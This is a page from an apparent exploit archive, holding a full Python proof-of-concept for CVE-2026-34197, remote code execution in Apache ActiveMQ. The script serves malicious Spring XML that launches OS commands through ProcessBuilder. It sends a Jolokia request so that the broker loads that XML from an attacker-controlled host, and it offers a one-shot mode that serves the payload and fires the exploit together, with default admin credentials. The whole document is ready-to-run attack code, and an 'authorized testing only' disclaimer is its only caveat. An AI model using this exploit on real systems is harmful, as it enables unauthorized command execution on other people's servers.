5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia MBean + VM Transport
Proof of Concept for authorized security testing only.

Attack chain:
  Jolokia exec -> addNetworkConnector() MBean
  -> vm:// transport with brokerConfig=xbean:http://attacker/evil.xml
  -> Spring XML bean instantiation -> OS command execution

Usage:
  1. Start the HTTP server (serves malicious Spring XML):
     python3 exploit_poc.py serve --lhost 10.0.0.1 --lport 9999 --cmd "touch /tmp/pwned"

  2. In another terminal, fire the exploit:
     python3 exploit_poc.py exploit --target http://victim:8161 \
       --user admin --password admin \
       --lhost 10.0.0.1 --lport 9999

  Or run both in one shot (auto-serves XML, fires exploit, cleans up):
     python3 exploit_poc.py auto --target http://victim:8161 \
       --lhost 10.0.0.1 --lport 9999 --cmd "id > /tmp/pwned.txt"
"""

import argparse
import http.server
import json
import shlex
import sys
import textwrap
import threading
import time
import urllib.request
import base64
from urllib.error import URLError, HTTPError


SPRING_XML_TEMPLATE = textwrap.dedent("""\
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
{cmd_values}
      </list>
    </constructor-arg>
  </bean>

</beans>
""")


def build_spring_xml(cmd: str) -> str:
    """Build a Spring XML that executes the given shell command."""
    parts = shlex.split(cmd)
    values = "\n".join(f"        <value>{p}</value>" for p in parts)
    return SPRING_XML_TEMPLATE.format(cmd_values=values)


def build_spring_xml_shell(cmd: str) -> str:
    """Build Spring XML using bash -c for complex commands."""
    values = (
        "        <value>bash</value>\n"
        "        <value>-c</value>\n"
        f"        <value>{cmd}</value>"
    )
    return SPRING_XML_TEMPLATE.format(cmd_values=values)


class ExploitHTTPHandler(http.server.BaseHTTPRequestHandler):
    """HTTP handler that serves the malicious Spring XML."""

    xml_payload = ""

    def do_GET(self):
        print(f"[+] Target fetched payload: {self.path}")
        self.send_response(200)
        self.send_header("Content-Type", "application/xml")
        self.end_headers()
        self.wfile.write(self.xml_payload.encode())

    def log_message(self, format, *args):
        pass  # suppress default logging


def start_http_server(host: str, port: int, xml_payload: str) -> http.server.HTTPServer:
    """Start HTTP server serving the Spring XML payload."""
    ExploitHTTPHandler.xml_payload = xml_payload
    server = http.server.HTTPServer((host, port), ExploitHTTPHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    print(f"[*] Serving malicious Spring XML on http://{host}:{port}/evil.xml")
    return server


def check_jolokia(target: str, username: str, password: str) -> dict | None:
    """Verify Jolokia is accessible and return broker info."""
    url = f"{target.rstrip('/')}/api/jolokia/"
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()

    req = urllib.request.Request(url)
    req.add_header("Authorization", f"Basic {creds}")

    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            print(f"[+] Jolokia accessible — agent version: {data.get('value', {}).get('agent', 'unknown')}")
            return data
    except HTTPError as e:
        if e.code == 401:
            print(f"[-] Authentication failed (401) — check credentials")
        elif e.code == 403:
            print(f"[-] Jolokia access forbidden (403)")
        else:
            print(f"[-] HTTP error: {e.code}")
        return None
    except URLError as e:
        print(f"[-] Connection failed: {e.reason}")
        return None


def get_broker_name(target: str, username: str, password: str) -> str | None:
    """Query Jolokia to discover the broker name dynamically."""
    url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()

    req = urllib.request.Request(url)
    req.add_header("Authorization", f"Basic {creds}")

    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            if data.get("status") == 200 and data.get("value"):
                for mbean_name in data["value"]:
                    # Extract brokerName from the MBean object name
                    for part in mbean_name.split(","):
                        if part.startswith("brokerName="):
                            name = part.split("=", 1)[1]
                            print(f"[+] Discovered broker name: {name}")
                            return name
    except Exception:
        pass

    # Fallback: try common default
    print("[*] Could not discover broker name, using default 'localhost'")
    return "localhost"


def fire_exploit(target: str, username: str, password: str,
                 lhost: str, lport: int, broker_name: str = "localhost") -> bool:
    """Send the Jolokia exec request to trigger the exploit chain."""

    # The crafted URI:
    #   static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/evil.xml)
    #
    # - static:(...) is the network connector discovery URI
    # - vm://evil references a non-existent broker, forcing dynamic creation
    # - brokerConfig=xbean:http://... loads remote Spring XML config
    malicious_uri = (
        f"static:(vm://evil?brokerConfig=xbean:http://{lhost}:{lport}/evil.xml)"
    )

    payload = {
        "type": "exec",
        "mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
        "operation": "addNetworkConnector(java.lang.String)",
        "arguments": [malicious_uri]
    }

    url = f"{target.rstrip('/')}/api/jolokia/"
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()

    data = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/json")
    req.add_header("Authorization", f"Basic {creds}")
    req.add_header("Origin", target)

    print(f"[*] Sending exploit payload to {url}")
    print(f"[*] Malicious URI: {malicious_uri}")

    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            result = json.loads(resp.read())
            if result.get("status") == 200:
                print("[+] Jolokia returned 200 — exploit payload delivered")
                print(f"[+] Response: {json.dumps(result, indent=2)}")
                return True
            else:
                print(f"[-] Unexpected status: {result.get('status')}")
                print(f"    Error: {result.get('error', 'unknown')}")
                return False
    except HTTPError as e:
        body = e.read().decode(errors="replace")
        print(f"[-] HTTP {e.code}: {body[:500]}")
        return False
    except URLError as e:
        print(f"[-] Connection failed: {e.reason}")
        return False


def cmd_serve(args):
    """Serve mode: just host the malicious XML."""
    if args.shell:
        xml = build_spring_xml_shell(args.cmd)
    else:
        xml = build_spring_xml(args.cmd)

    print(f"[*] Command to execute: {args.cmd}")
    print(f"[*] Spring XML payload:\n{xml}")

    server = start_http_server("0.0.0.0", args.lport, xml)
    print("[*] Waiting for target to fetch payload... (Ctrl+C to stop)")
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        server.shutdown()


def cmd_exploit(args):
    """Exploit mode: send the Jolokia request."""
    print(f"[*] Target: {args.target}")
    print(f"[*] Credentials: {args.user}:{args.password}")

    # Step 1: Check Jolokia
    info = check_jolokia(args.target, args.user, args.password)
    if not info:
        sys.exit(1)

    # Step 2: Discover broker name
    broker_name = get_broker_name(args.target, args.user, args.password)

    # Step 3: Fire
    success = fire_exploit(args.target, args.user, args.password,
                           args.lhost, args.lport, broker_name)
    if success:
        print("\n[+] Exploit sent. Check if your payload executed on the target.")
    else:
        print("\n[-] Exploit may have failed. Check server logs.")


def cmd_auto(args):
    """Auto mode: serve XML + fire exploit in one shot."""
    if args.shell:
        xml = build_spring_xml_shell(args.cmd)
    else:
        xml = build_spring_xml(args.cmd)

    print(f"[*] Target: {args.target}")
    print(f"[*] Command: {args.cmd}")

    # Start HTTP server
    server = start_http_server("0.0.0.0", args.lport, xml)
    time.sleep(0.5)

    # Check Jolokia
    info = check_jolokia(args.target, args.user, args.password)
    if not info:
        server.shutdown()
        sys.exit(1)

    # Discover broker name
    broker_name = get_broker_name(args.target, args.user, args.password)

    # Fire exploit
    success = fire_exploit(args.target, args.user, args.password,
                           args.lhost, args.lport, broker_name)

    # Wait briefly for the target to fetch the XML
    print("[*] Waiting 5s for target to fetch payload...")
    time.sleep(5)

    server.shutdown()

    if success:
        print("\n[+] Done. Verify command execution on target.")
    else:
        print("\n[-] Exploit delivery uncertain. Check manually.")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-34197 ActiveMQ RCE PoC — Authorized testing only"
    )
    subparsers = parser.add_subparsers(dest="mode", required=True)

    # Serve mode
    p_serve = subparsers.add_parser("serve", help="Host malicious Spring XML")
    p_serve.add_argument("--lhost", required=True, help="Listen host for HTTP server")
    p_serve.add_argument("--lport", type=int, default=9999, help="Listen port (default: 9999)")
    p_serve.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
                         help="OS command to execute")
    p_serve.add_argument("--shell", action="store_true",
                         help="Wrap command in bash -c (for pipes, redirects)")

    # Exploit mode
    p_exploit = subparsers.add_parser("exploit", help="Send Jolokia exploit request")
    p_exploit.add_argument("--target", required=True, help="Target URL (http://host:8161)")
    p_exploit.add_argument("--user", default="admin", help="Username (default: admin)")
    p_exploit.add_argument("--password", default="admin", help="Password (default: admin)")
    p_exploit.add_argument("--lhost", required=True, help="Attacker IP hosting the XML")
    p_exploit.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")

    # Auto mode
    p_auto = subparsers.add_parser("auto", help="Serve + exploit in one shot")
    p_auto.add_argument("--target", required=True, help="Target URL (http://host:8161)")
    p_auto.add_argument("--user", default="admin", help="Username (default: admin)")
    p_auto.add_argument("--password", default="admin", help="Password (default: admin)")
    p_auto.add_argument("--lhost", required=True, help="Attacker IP")
    p_auto.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")
    p_auto.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
                         help="OS command to execute")
    p_auto.add_argument("--shell", action="store_true",
                         help="Wrap command in bash -c")

    args = parser.parse_args()

    print("=" * 70)
    print("  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport")
    print("  For authorized security testing and research only.")
    print("=" * 70)
    print()

    if args.mode == "serve":
        cmd_serve(args)
    elif args.mode == "exploit":
        cmd_exploit(args)
    elif args.mode == "auto":
        cmd_auto(args)


if __name__ == "__main__":
    main()